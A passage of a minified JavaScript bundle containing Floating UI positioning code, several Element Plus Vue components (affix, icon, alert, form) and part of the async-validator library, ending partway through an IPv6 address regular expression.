F9(t,e);return s===((n=a.offset)==null?void 0:n.placement)&&(r=a.arrow)!=null&&r.alignmentOffset?{}:{x:o+l.x,y:i+l.y,data:{...l,placement:s}}}}},H9=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:o}=t,{mainAxis:i=!0,crossAxis:s=!1,limiter:a={fn:I=>{let{x:q,y:M}=I;return{x:q,y:M}}},...l}=ff(e,t),u={x:n,y:r},c=await rI(t,l),f=Tm(xl(o)),p=q6(f);let m=u[p],g=u[f];if(i){const I=p==="y"?"top":"left",q=p==="y"?"bottom":"right",M=m+c[I],E=m-c[q];m=jg(M,m,E)}if(s){const I=f==="y"?"top":"left",q=f==="y"?"bottom":"right",M=g+c[I],E=g-c[q];g=jg(M,g,E)}const v=a.fn({...t,[p]:m,[f]:g});return{...v,data:{x:v.x-n,y:v.y-r}}}}};function No(e){var t;return((t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Li(e){return No(e).getComputedStyle(e)}const h2=Math.min,id=Math.max,Op=Math.round;function A6(e){const t=Li(e);let n=parseFloat(t.width),r=parseFloat(t.height);const o=e.offsetWidth,i=e.offsetHeight,s=Op(n)!==o||Op(r)!==i;return s&&(n=o,r=i),{width:n,height:r,fallback:s}}function ya(e){return C6(e)?(e.nodeName||"").toLowerCase():""}let Yf;function M6(){if(Yf)return Yf;const e=navigator.userAgentData;return e&&Array.isArray(e.brands)?(Yf=e.brands.map(t=>t.brand+"/"+t.version).join(" "),Yf):navigator.userAgent}function Zi(e){return e instanceof No(e).HTMLElement}function ui(e){return e instanceof No(e).Element}function C6(e){return e instanceof No(e).Node}function p2(e){return typeof ShadowRoot>"u"?!1:e instanceof No(e).ShadowRoot||e instanceof ShadowRoot}function Nm(e){const{overflow:t,overflowX:n,overflowY:r,display:o}=Li(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!["inline","contents"].includes(o)}function P9(e){return["table","td","th"].includes(ya(e))}function Gg(e){const t=/firefox/i.test(M6()),n=Li(e),r=n.backdropFilter||n.WebkitBackdropFilter;return n.transform!=="none"||n.perspective!=="none"||!!r&&r!=="none"||t&&n.willChange==="filter"||t&&!!n.filter&&n.filter!=="none"||["transform","perspective"].some(o=>n.willChange.includes(o))||["paint","layout","strict","content"].some(o=>{const i=n.contain;return i!=null&&i.includes(o)})}function k6(){return!/^((?!chrome|android).)*safari/i.test(M6())}function oI(e){return["html","body","#document"].includes(ya(e))}function x6(e){return ui(e)?e:e.contextElement}const O6={x:1,y:1};function Zu(e){const t=x6(e);if(!Zi(t))return O6;const n=t.getBoundingClientRect(),{width:r,height:o,fallback:i}=A6(t);let s=(i?Op(n.width):n.width)/r,a=(i?Op(n.height):n.height)/o;return s&&Number.isFinite(s)||(s=1),a&&Number.isFinite(a)||(a=1),{x:s,y:a}}function Ol(e,t,n,r){var o,i;t===void 0&&(t=!1),n===void 0&&(n=!1);const s=e.getBoundingClientRect(),a=x6(e);let l=O6;t&&(r?ui(r)&&(l=Zu(r)):l=Zu(e));const u=a?No(a):window,c=!k6()&&n;let f=(s.left+(c&&((o=u.visualViewport)==null?void 0:o.offsetLeft)||0))/l.x,p=(s.top+(c&&((i=u.visualViewport)==null?void 0:i.offsetTop)||0))/l.y,m=s.width/l.x,g=s.height/l.y;if(a){const v=No(a),I=r&&ui(r)?No(r):r;let q=v.frameElement;for(;q&&r&&I!==v;){const M=Zu(q),E=q.getBoundingClientRect(),x=getComputedStyle(q);E.x+=(q.clientLeft+parseFloat(x.paddingLeft))*M.x,E.y+=(q.clientTop+parseFloat(x.paddingTop))*M.y,f*=M.x,p*=M.y,m*=M.x,g*=M.y,f+=E.x,p+=E.y,q=No(q).frameElement}}return{width:m,height:g,top:p,right:f+m,bottom:p+g,left:f,x:f,y:p}}function aa(e){return((C6(e)?e.ownerDocument:e.document)||window.document).documentElement}function jm(e){return ui(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function z6(e){return Ol(aa(e)).left+jm(e).scrollLeft}function Ld(e){if(ya(e)==="html")return e;const t=e.assignedSlot||e.parentNode||p2(e)&&e.host||aa(e);return p2(t)?t.host:t}function K6(e){const t=Ld(e);return oI(t)?t.ownerDocument.body:Zi(t)&&Nm(t)?t:K6(t)}function sd(e,t){var n;t===void 0&&(t=[]);const r=K6(e),o=r===((n=e.ownerDocument)==null?void 0:n.body),i=No(r);return o?t.concat(i,i.visualViewport||[],Nm(r)?r:[]):t.concat(r,sd(r))}function m2(e,t,n){return t==="viewport"?od(function(r,o){const i=No(r),s=aa(r),a=i.visualViewport;let l=s.clientWidth,u=s.clientHeight,c=0,f=0;if(a){l=a.width,u=a.height;const p=k6();(p||!p&&o==="fixed")&&(c=a.offsetLeft,f=a.offsetTop)}return{width:l,height:u,x:c,y:f}}(e,n)):ui(t)?od(function(r,o){const i=Ol(r,!0,o==="fixed"),s=i.top+r.clientTop,a=i.left+r.clientLeft,l=Zi(r)?Zu(r):{x:1,y:1};return{width:r.clientWidth*l.x,height:r.clientHeight*l.y,x:a*l.x,y:s*l.y}}(t,n)):od(function(r){const o=aa(r),i=jm(r),s=r.ownerDocument.body,a=id(o.scrollWidth,o.clientWidth,s.scrollWidth,s.clientWidth),l=id(o.scrollHeight,o.clientHeight,s.scrollHeight,s.clientHeight);let u=-i.scrollLeft+z6(r);const c=-i.scrollTop;return Li(s).direction==="rtl"&&(u+=id(o.clientWidth,s.clientWidth)-a),{width:a,height:l,x:u,y:c}}(aa(e)))}function v2(e){return Zi(e)&&Li(e).position!=="fixed"?e.offsetParent:null}function g2(e){const t=No(e);let n=v2(e);for(;n&&P9(n)&&Li(n).position==="static";)n=v2(n);return n&&(ya(n)==="html"||ya(n)==="body"&&Li(n).position==="static"&&!Gg(n))?t:n||function(r){let o=Ld(r);for(;Zi(o)&&!oI(o);){if(Gg(o))return o;o=Ld(o)}return null}(e)||t}function D9(e,t,n){const r=Zi(t),o=aa(t),i=Ol(e,!0,n==="fixed",t);let s={scrollLeft:0,scrollTop:0};const a={x:0,y:0};if(r||!r&&n!=="fixed")if((ya(t)!=="body"||Nm(o))&&(s=jm(t)),Zi(t)){const l=Ol(t,!0);a.x=l.x+t.clientLeft,a.y=l.y+t.clientTop}else o&&(a.x=z6(o));return{x:i.left+s.scrollLeft-a.x,y:i.top+s.scrollTop-a.y,width:i.width,height:i.height}}const X9={getClippingRect:function(e){let{element:t,boundary:n,rootBoundary:r,strategy:o}=e;const i=n==="clippingAncestors"?function(u,c){const f=c.get(u);if(f)return f;let p=sd(u).filter(I=>ui(I)&&ya(I)!=="body"),m=null;const g=Li(u).position==="fixed";let v=g?Ld(u):u;for(;ui(v)&&!oI(v);){const I=Li(v),q=Gg(v);(g?q||m:q||I.position!=="static"||!m||!["absolute","fixed"].includes(m.position))?m=I:p=p.filter(M=>M!==v),v=Ld(v)}return c.set(u,p),p}(t,this._c):[].concat(n),s=[...i,r],a=s[0],l=s.reduce((u,c)=>{const f=m2(t,c,o);return u.top=id(f.top,u.top),u.right=h2(f.right,u.right),u.bottom=h2(f.bottom,u.bottom),u.left=id(f.left,u.left),u},m2(t,a,o));return{width:l.right-l.left,height:l.bottom-l.top,x:l.left,y:l.top}},convertOffsetParentRelativeRectToViewportRelativeRect:function(e){let{rect:t,offsetParent:n,strategy:r}=e;const o=Zi(n),i=aa(n);if(n===i)return t;let s={scrollLeft:0,scrollTop:0},a={x:1,y:1};const l={x:0,y:0};if((o||!o&&r!=="fixed")&&((ya(n)!=="body"||Nm(i))&&(s=jm(n)),Zi(n))){const u=Ol(n);a=Zu(n),l.x=u.x+n.clientLeft,l.y=u.y+n.clientTop}return{width:t.width*a.x,height:t.height*a.y,x:t.x*a.x-s.scrollLeft*a.x+l.x,y:t.y*a.y-s.scrollTop*a.y+l.y}},isElement:ui,getDimensions:function(e){return Zi(e)?A6(e):e.getBoundingClientRect()},getOffsetParent:g2,getDocumentElement:aa,getScale:Zu,async getElementRects(e){let{reference:t,floating:n,strategy:r}=e;const o=this.getOffsetParent||g2,i=this.getDimensions;return{reference:D9(t,await o(n),r),floating:{x:0,y:0,...await i(n)}}},getClientRects:e=>Array.from(e.getClientRects()),isRTL:e=>Li(e).direction==="rtl"};function Q9(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:o=!0,ancestorResize:i=!0,elementResize:s=!0,animationFrame:a=!1}=r,l=o&&!a,u=l||i?[...ui(e)?sd(e):e.contextElement?sd(e.contextElement):[],...sd(t)]:[];u.forEach(m=>{l&&m.addEventListener("scroll",n,{passive:!0}),i&&m.addEventListener("resize",n)});let c,f=null;if(s){let m=!0;f=new ResizeObserver(()=>{m||n(),m=!1}),ui(e)&&!a&&f.observe(e),ui(e)||!e.contextElement||a||f.observe(e.contextElement),f.observe(t)}let p=a?Ol(e):null;return a&&function m(){const g=Ol(e);!p||g.x===p.x&&g.y===p.y&&g.width===p.width&&g.height===p.height||n(),p=g,c=requestAnimationFrame(m)}(),n(),()=>{var m;u.forEach(g=>{l&&g.removeEventListener("scroll",n),i&&g.removeEventListener("resize",n)}),(m=f)==null||m.disconnect(),f=null,a&&cancelAnimationFrame(c)}}const R6=(e,t,n)=>{const r=new Map,o={platform:X9,...n},i={...o.platform,_c:r};return V9(e,t,{...o,platform:i})};Ge({});const _9=e=>{if(!Tt)return;if(!e)return e;const t=io(e);return t||(mn(e)?t:e)},$9=({middleware:e,placement:t,strategy:n})=>{const r=D(),o=D(),i=D(),s=D(),a=D({}),l={x:i,y:s,placement:t,strategy:n,middlewareData:a},u=async()=>{if(!Tt)return;const c=_9(r),f=io(o);if(!c||!f)return;const p=await R6(c,f,{placement:d(t),strategy:d(n),middleware:d(e)});_u(l).forEach(m=>{l[m].value=p[m]})};return mt(()=>{Gn(()=>{u()})}),{...l,update:u,referenceRef:r,contentRef:o}},eP=({arrowRef:e,padding:t})=>({name:"arrow",options:{element:e,padding:t},fn(n){const r=d(e);return r?S6({element:r,padding:t}).fn(n):{}}});function tP(e){const t=D();function n(){if(e.value==null)return;const{selectionStart:o,selectionEnd:i,value:s}=e.value;if(o==null||i==null)return;const a=s.slice(0,Math.max(0,o)),l=s.slice(Math.max(0,i));t.value={selectionStart:o,selectionEnd:i,value:s,beforeTxt:a,afterTxt:l}}function r(){if(e.value==null||t.value==null)return;const{value:o}=e.value,{beforeTxt:i,afterTxt:s,selectionStart:a}=t.value;if(i==null||s==null||a==null)return;let l=o.length;if(o.endsWith(s))l=o.length-s.length;else if(o.startsWith(i))l=i.length;else{const u=i[a-1],c=o.indexOf(u,a-1);c!==-1&&(l=c+1)}e.value.setSelectionRange(l,l)}return[n,r]}const nP=(e,t,n)=>sa(e.subTree).filter(i=>{var s;return En(i)&&((s=i.type)==null?void 0:s.name)===t&&!!i.component}).map(i=>i.component.uid).map(i=>n[i]).filter(i=>!!i),iI=(e,t)=>{const n={},r=ln([]);return{children:r,addChild:s=>{n[s.uid]=s,r.value=nP(e,t,n)},removeChild:s=>{delete n[s],r.value=r.value.filter(a=>a.uid!==s)}}},fr=pi({type:String,values:Ui,required:!1}),L6=Symbol("size"),rP=()=>{const e=Fe(L6,{});return N(()=>d(e.size)||"")};function Wm(e,{afterFocus:t,beforeBlur:n,afterBlur:r}={}){const o=bt(),{emit:i}=o,s=ln(),a=D(!1),l=f=>{a.value||(a.value=!0,i("focus",f),t==null||t())},u=f=>{var p;ot(n)&&n(f)||f.relatedTarget&&((p=s.value)!=null&&p.contains(f.relatedTarget))||(a.value=!1,i("blur",f),r==null||r())},c=()=>{var f;(f=e.value)==null||f.focus()};return Ce(s,f=>{f&&f.setAttribute("tabindex","-1")}),pn(s,"click",c),{wrapperRef:s,isFocused:a,handleFocus:l,handleBlur:u}}const Z6=Symbol(),zp=D();function Gm(e,t=void 0){const n=bt()?Fe(Z6,zp):zp;return e?N(()=>{var r,o;return(o=(r=n.value)==null?void 0:r[e])!=null?o:t}):n}function Ym(e,t){const n=Gm(),r=Oe(e,N(()=>{var a;return((a=n.value)==null?void 0:a.namespace)||td})),o=Vt(N(()=>{var a;return(a=n.value)==null?void 0:a.locale})),i=wc(N(()=>{var a;return((a=n.value)==null?void 0:a.zIndex)||b6})),s=N(()=>{var a;return d(t)||((a=n.value)==null?void 0:a.size)||""});return sI(N(()=>d(n)||{})),{ns:r,locale:o,zIndex:i,size:s}}const sI=(e,t,n=!1)=>{var r;const o=!!bt(),i=o?Gm():void 0,s=(r=t==null?void 0:t.provide)!=null?r:o?Ot:void 0;if(!s)return;const a=N(()=>{const l=d(e);return i!=null&&i.value?oP(i.value,l):l});return s(Z6,a),s(n6,N(()=>a.value.locale)),s(r6,N(()=>a.value.namespace)),s(I6,N(()=>a.value.zIndex)),s(L6,{size:N(()=>a.value.size||"")}),(n||!zp.value)&&(zp.value=a.value),a},oP=(e,t)=>{var n;const r=[...new Set([..._u(e),..._u(t)])],o={};for(const i of r)o[i]=(n=t[i])!=null?n:e[i];return o},iP=Ge({a11y:{type:Boolean,default:!0},locale:{type:he(Object)},size:fr,button:{type:he(Object)},experimentalFeatures:{type:he(Object)},keyboardNavigation:{type:Boolean,default:!0},message:{type:he(Object)},zIndex:Number,namespace:{type:String,default:"el"}}),Yg={},sP=ie({name:"ElConfigProvider",props:iP,setup(e,{slots:t}){Ce(()=>e.message,r=>{Object.assign(Yg,r??{})},{immediate:!0,deep:!0});const n=sI(e);return()=>qe(t,"default",{config:n==null?void 0:n.value})}}),aP=It(sP),lP="2.6.3",uP=(e=[])=>({version:lP,install:(n,r)=>{n[PS]||(n[PS]=!0,e.forEach(o=>n.use(o)),r&&sI(r,n,!0))}}),cP=Ge({zIndex:{type:he([Number,String]),default:100},target:{type:String,default:""},offset:{type:Number,default:0},position:{type:String,values:["top","bottom"],default:"top"}}),dP={scroll:({scrollTop:e,fixed:t})=>nt(e)&&Un(t),[qn]:e=>Un(e)};var Ye=(e,t)=>{const n=e.__vccOpts||e;for(const[r,o]of t)n[r]=o;return n};const T6="ElAffix",fP=ie({name:T6}),hP=ie({...fP,props:cP,emits:dP,setup(e,{expose:t,emit:n}){const r=e,o=Oe("affix"),i=ln(),s=ln(),a=ln(),{height:l}=sj(),{height:u,width:c,top:f,bottom:p,update:m}=Fw(s,{windowScroll:!1}),g=Fw(i),v=D(!1),I=D(0),q=D(0),M=N(()=>({height:v.value?`${u.value}px`:"",width:v.value?`${c.value}px`:""})),E=N(()=>{if(!v.value)return{};const K=r.offset?Yn(r.offset):0;return{height:`${u.value}px`,width:`${c.value}px`,top:r.position==="top"?K:"",bottom:r.position==="bottom"?K:"",transform:q.value?`translateY(${q.value}px)`:"",zIndex:r.zIndex}}),x=()=>{if(a.value)if(I.value=a.value instanceof Window?document.documentElement.scrollTop:a.value.scrollTop||0,r.position==="top")if(r.target){const K=g.bottom.value-r.offset-u.value;v.value=r.offset>f.value&&g.bottom.value>0,q.value=K<0?K:0}else v.value=r.offset>f.value;else if(r.target){const K=l.value-g.top.value-r.offset-u.value;v.value=l.value-r.offset<p.value&&l.value>g.top.value,q.value=K<0?-K:0}else v.value=l.value-r.offset<p.value},R=()=>{m(),n("scroll",{scrollTop:I.value,fixed:v.value})};return Ce(v,K=>n("change",K)),mt(()=>{var K;r.target?(i.value=(K=document.querySelector(r.target))!=null?K:void 0,i.value||tr(T6,`Target is not existed: ${r.target}`)):i.value=document.documentElement,a.value=R1(s.value,!0),m()}),pn(a,"scroll",R),Gn(x),t({update:x,updateRoot:m}),(K,W)=>(B(),_("div",{ref_key:"root",ref:s,class:F(d(o).b()),style:De(d(M))},[ne("div",{class:F({[d(o).m("fixed")]:v.value}),style:De(d(E))},[qe(K.$slots,"default")],6)],6))}});var pP=Ye(hP,[["__file","affix.vue"]]);const mP=It(pP),vP=Ge({size:{type:he([Number,String])},color:{type:String}}),gP=ie({name:"ElIcon",inheritAttrs:!1}),yP=ie({...gP,props:vP,setup(e){const t=e,n=Oe("icon"),r=N(()=>{const{size:o,color:i}=t;return!o&&!i?{}:{fontSize:Vn(o)?void 0:Yn(o),"--color":i}});return(o,i)=>(B(),_("i",xt({class:d(n).b(),style:d(r)},o.$attrs),[qe(o.$slots,"default")],16))}});var bP=Ye(yP,[["__file","icon.vue"]]);const Pe=It(bP),IP=["light","dark"],qP=Ge({title:{type:String,default:""},description:{type:String,default:""},type:{type:String,values:_u(ga),default:"info"},closable:{type:Boolean,default:!0},closeText:{type:String,default:""},showIcon:Boolean,center:Boolean,effect:{type:String,values:IP,default:"light"}}),wP={close:e=>e instanceof MouseEvent},SP=ie({name:"ElAlert"}),EP=ie({...SP,props:qP,emits:wP,setup(e,{emit:t}){const n=e,{Close:r}=W1,o=pr(),i=Oe("alert"),s=D(!0),a=N(()=>ga[n.type]),l=N(()=>[i.e("icon"),{[i.is("big")]:!!n.description||!!o.default}]),u=N(()=>({"with-description":n.description||o.default})),c=f=>{s.value=!1,t("close",f)};return(f,p)=>(B(),ye(Hn,{name:d(i).b("fade"),persisted:""},{default:fe(()=>[ft(ne("div",{class:F([d(i).b(),d(i).m(f.type),d(i).is("center",f.center),d(i).is(f.effect)]),role:"alert"},[f.showIcon&&d(a)?(B(),ye(d(Pe),{key:0,class:F(d(l))},{default:fe(()=>[(B(),ye(Et(d(a))))]),_:1},8,["class"])):pe("v-if",!0),ne("div",{class:F(d(i).e("content"))},[f.title||f.$slots.title?(B(),_("span",{key:0,class:F([d(i).e("title"),d(u)])},[qe(f.$slots,"title",{},()=>[Kt(We(f.title),1)])],2)):pe("v-if",!0),f.$slots.default||f.description?(B(),_("p",{key:1,class:F(d(i).e("description"))},[qe(f.$slots,"default",{},()=>[Kt(We(f.description),1)])],2)):pe("v-if",!0),f.closable?(B(),_(Qe,{key:2},[f.closeText?(B(),_("div",{key:0,class:F([d(i).e("close-btn"),d(i).is("customed")]),onClick:c},We(f.closeText),3)):(B(),ye(d(Pe),{key:1,class:F(d(i).e("close-btn")),onClick:c},{default:fe(()=>[ae(d(r))]),_:1},8,["class"]))],64)):pe("v-if",!0)],2)],2),[[_t,s.value]])]),_:3},8,["name"]))}});var AP=Ye(EP,[["__file","alert.vue"]]);const MP=It(AP),Hl=Symbol("formContextKey"),Yi=Symbol("formItemContextKey"),nr=(e,t={})=>{const n=D(void 0),r=t.prop?n:i6("size"),o=t.global?n:rP(),i=t.form?{size:void 0}:Fe(Hl,void 0),s=t.formItem?{size:void 0}:Fe(Yi,void 0);return N(()=>r.value||d(e)||(s==null?void 0:s.size)||(i==null?void 0:i.size)||o.value||"")},fo=e=>{const t=i6("disabled"),n=Fe(Hl,void 0);return N(()=>t.value||d(e)||(n==null?void 0:n.disabled)||!1)},eo=()=>{const e=Fe(Hl,void 0),t=Fe(Yi,void 0);return{form:e,formItem:t}},Fi=(e,{formItemContext:t,disableIdGeneration:n,disableIdManagement:r})=>{n||(n=D(!1)),r||(r=D(!1));const o=D();let i;const s=N(()=>{var a;return!!(!e.label&&t&&t.inputIds&&((a=t.inputIds)==null?void 0:a.length)<=1)});return mt(()=>{i=Ce([hn(e,"id"),n],([a,l])=>{const u=a??(l?void 0:Jr().value);u!==o.value&&(t!=null&&t.removeInputId&&(o.value&&t.removeInputId(o.value),!(r!=null&&r.value)&&!l&&u&&t.addInputId(u)),o.value=u)},{immediate:!0})}),Ia(()=>{i&&i(),t!=null&&t.removeInputId&&o.value&&t.removeInputId(o.value)}),{isLabeledByFormItem:s,inputId:o}},CP=Ge({size:{type:String,values:Ui},disabled:Boolean}),kP=Ge({...CP,model:Object,rules:{type:he(Object)},labelPosition:{type:String,values:["left","right","top"],default:"right"},requireAsteriskPosition:{type:String,values:["left","right"],default:"left"},labelWidth:{type:[String,Number],default:""},labelSuffix:{type:String,default:""},inline:Boolean,inlineMessage:Boolean,statusIcon:Boolean,showMessage:{type:Boolean,default:!0},validateOnRuleChange:{type:Boolean,default:!0},hideRequiredAsterisk:Boolean,scrollToError:Boolean,scrollIntoViewOptions:{type:[Object,Boolean]}}),xP={validate:(e,t,n)=>(Ve(e)||st(e))&&Un(t)&&st(n)};function OP(){const e=D([]),t=N(()=>{if(!e.value.length)return"0";const i=Math.max(...e.value);return i?`${i}px`:""});function n(i){const s=e.value.indexOf(i);return s===-1&&t.value,s}function r(i,s){if(i&&s){const a=n(s);e.value.splice(a,1,i)}else i&&e.value.push(i)}function o(i){const s=n(i);s>-1&&e.value.splice(s,1)}return{autoLabelWidth:t,registerLabelWidth:r,deregisterLabelWidth:o}}const Bf=(e,t)=>{const n=Ml(t);return n.length>0?e.filter(r=>r.prop&&n.includes(r.prop)):e},zP="ElForm",KP=ie({name:zP}),RP=ie({...KP,props:kP,emits:xP,setup(e,{expose:t,emit:n}){const r=e,o=[],i=nr(),s=Oe("form"),a=N(()=>{const{labelPosition:E,inline:x}=r;return[s.b(),s.m(i.value||"default"),{[s.m(`label-${E}`)]:E,[s.m("inline")]:x}]}),l=E=>o.find(x=>x.prop===E),u=E=>{o.push(E)},c=E=>{E.prop&&o.splice(o.indexOf(E),1)},f=(E=[])=>{r.model&&Bf(o,E).forEach(x=>x.resetField())},p=(E=[])=>{Bf(o,E).forEach(x=>x.clearValidate())},m=N(()=>!!r.model),g=E=>{if(o.length===0)return[];const x=Bf(o,E);return x.length?x:[]},v=async E=>q(void 0,E),I=async(E=[])=>{if(!m.value)return!1;const x=g(E);if(x.length===0)return!0;let R={};for(const K of x)try{await K.validate("")}catch(W){R={...R,...W}}return Object.keys(R).length===0?!0:Promise.reject(R)},q=async(E=[],x)=>{const R=!ot(x);try{const K=await I(E);return K===!0&&(x==null||x(K)),K}catch(K){if(K instanceof Error)throw K;const W=K;return r.scrollToError&&M(Object.keys(W)[0]),x==null||x(!1,W),R&&Promise.reject(W)}},M=E=>{var x;const R=Bf(o,E)[0];R&&((x=R.$el)==null||x.scrollIntoView(r.scrollIntoViewOptions))};return Ce(()=>r.rules,()=>{r.validateOnRuleChange&&v().catch(E=>void 0)},{deep:!0}),Ot(Hl,$t({...Fn(r),emit:n,resetFields:f,clearValidate:p,validateField:q,getField:l,addField:u,removeField:c,...OP()})),t({validate:v,validateField:q,resetFields:f,clearValidate:p,scrollToField:M}),(E,x)=>(B(),_("form",{class:F(d(a))},[qe(E.$slots,"default")],2))}});var LP=Ye(RP,[["__file","form.vue"]]);function el(){return el=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},el.apply(this,arguments)}function ZP(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,Zd(e,t)}function Bg(e){return Bg=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(n){return n.__proto__||Object.getPrototypeOf(n)},Bg(e)}function Zd(e,t){return Zd=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(r,o){return r.__proto__=o,r},Zd(e,t)}function TP(){if(typeof Reflect>"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function kh(e,t,n){return TP()?kh=Reflect.construct.bind():kh=function(o,i,s){var a=[null];a.push.apply(a,i);var l=Function.bind.apply(o,a),u=new l;return s&&Zd(u,s.prototype),u},kh.apply(null,arguments)}function NP(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Jg(e){var t=typeof Map=="function"?new Map:void 0;return Jg=function(r){if(r===null||!NP(r))return r;if(typeof r!="function")throw new TypeError("Super expression must either be null or a function");if(typeof t<"u"){if(t.has(r))return t.get(r);t.set(r,o)}function o(){return kh(r,arguments,Bg(this).constructor)}return o.prototype=Object.create(r.prototype,{constructor:{value:o,enumerable:!1,writable:!0,configurable:!0}}),Zd(o,r)},Jg(e)}var jP=/%[sdj%]/g,WP=function(){};function Vg(e){if(!e||!e.length)return null;var t={};return e.forEach(function(n){var r=n.field;t[r]=t[r]||[],t[r].push(n)}),t}function So(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];var o=0,i=n.length;if(typeof e=="function")return e.apply(null,n);if(typeof e=="string"){var s=e.replace(jP,function(a){if(a==="%%")return"%";if(o>=i)return a;switch(a){case"%s":return String(n[o++]);case"%d":return Number(n[o++]);case"%j":try{return JSON.stringify(n[o++])}catch{return"[Circular]"}break;default:return a}});return s}return e}function GP(e){return e==="string"||e==="url"||e==="hex"||e==="email"||e==="date"||e==="pattern"}function hr(e,t){return!!(e==null||t==="array"&&Array.isArray(e)&&!e.length||GP(t)&&typeof e=="string"&&!e)}function YP(e,t,n){var r=[],o=0,i=e.length;function s(a){r.push.apply(r,a||[]),o++,o===i&&n(r)}e.forEach(function(a){t(a,s)})}function y2(e,t,n){var r=0,o=e.length;function i(s){if(s&&s.length){n(s);return}var a=r;r=r+1,a<o?t(e[a],i):n([])}i([])}function BP(e){var t=[];return Object.keys(e).forEach(function(n){t.push.apply(t,e[n]||[])}),t}var b2=function(e){ZP(t,e);function t(n,r){var o;return o=e.call(this,"Async Validation Error")||this,o.errors=n,o.fields=r,o}return t}(Jg(Error));function JP(e,t,n,r,o){if(t.first){var i=new Promise(function(p,m){var g=function(q){return r(q),q.length?m(new b2(q,Vg(q))):p(o)},v=BP(e);y2(v,n,g)});return i.catch(function(p){return p}),i}var s=t.firstFields===!0?Object.keys(e):t.firstFields||[],a=Object.keys(e),l=a.length,u=0,c=[],f=new Promise(function(p,m){var g=function(I){if(c.push.apply(c,I),u++,u===l)return r(c),c.length?m(new b2(c,Vg(c))):p(o)};a.length||(r(c),p(o)),a.forEach(function(v){var I=e[v];s.indexOf(v)!==-1?y2(I,n,g):YP(I,n,g)})});return f.catch(function(p){return p}),f}function VP(e){return!!(e&&e.message!==void 0)}function UP(e,t){for(var n=e,r=0;r<t.length;r++){if(n==null)return n;n=n[t[r]]}return n}function I2(e,t){return function(n){var r;return e.fullFields?r=UP(t,e.fullFields):r=t[n.field||e.fullField],VP(n)?(n.field=n.field||e.fullField,n.fieldValue=r,n):{message:typeof n=="function"?n():n,fieldValue:r,field:n.field||e.fullField}}}function q2(e,t){if(t){for(var n in t)if(t.hasOwnProperty(n)){var r=t[n];typeof r=="object"&&typeof e[n]=="object"?e[n]=el({},e[n],r):e[n]=r}}return e}var N6=function(t,n,r,o,i,s){t.required&&(!r.hasOwnProperty(t.field)||hr(n,s||t.type))&&o.push(So(i.messages.required,t.fullField))},FP=function(t,n,r,o,i){(/^\s+$/.test(n)||n==="")&&o.push(So(i.messages.whitespace,t.fullField))},Jf,HP=function(){if(Jf)return Jf;var e="[a-fA-F\\d:]",t=function(x){return x&&x.includeBoundaries?"(?:(?<=\\s|^)(?="+e+")|(?<="+e+")(?=\\s|$))":""},n="(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)(?:\\.(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)){3}",r="[a-fA-F\\d]{1,4}",o=(`
(?:
(?:`+r+":){7}(?:"+r+`|:)|                                    // 1:2:3:4:5:6:7::  1:2:3:4:5:6:7:8
(?:`+r+":){6}(?:"+n+"|:"+r+`|:)|                             // 1:2:3:4:5:6::    1:2:3:4:5:6::8   1:2:3:4:5:6::8  1:2:3:4:5:6::1.2.3.4
(?:`+r+":){5}(?::"+n+"|(?::"+r+`){1,2}|:)|                   // 1:2:3:4:5::      1:2:3:4:5::7:8   1:2:3:4:5::8    1:2:3:4:5::7:1.2.3.4
(?:`+r+":){4}(?:(?::"+r+"){0,1}:"+n+"|(?::"+r+`){1,3}|:)| // 1:2:3:4::        1:2:3:4::6:7:8   1:2:3:4::8      1:2:3:4::6:7:1.2.3.4
(?:`+r+":){3}(?:(?::"+r+"){0,2}:"+n+"|(?::"+r+`){1,4}|:)| // 1:2:3::          1:2:3::5:6:7:8   1:2:3::8        1:2:3::5:6:7:1.2.3.4
(?:`+r+":){2}(?:(?::"+r+"){0,3}:"+n+"|(?::"+r+`){1,5}|:)| // 1:2::            1:2::4:5:6:7:8   1:2::8          1:2::4:5:6:7:1.2.3.4
(?:`+r+":){1}(?:(?::"+r+"){0,4}:"+n+"|(?::"+r+`){1,6}|:)| // 1::              1::3:4:5:6:7:8   1::8            1::3:4:5:6:7:1.2.3.4
(?::(?:(?::`+r+"){0,5}:"+n+"|(?::"+r+`){1,7}|:))             // ::2:3:4:5:6:7:8  ::2:3:4:5:6:7:8  ::8             ::1.2.3.4
)(?:%[0-9a-zA-Z]{1,})?                                             // %eth0            %1
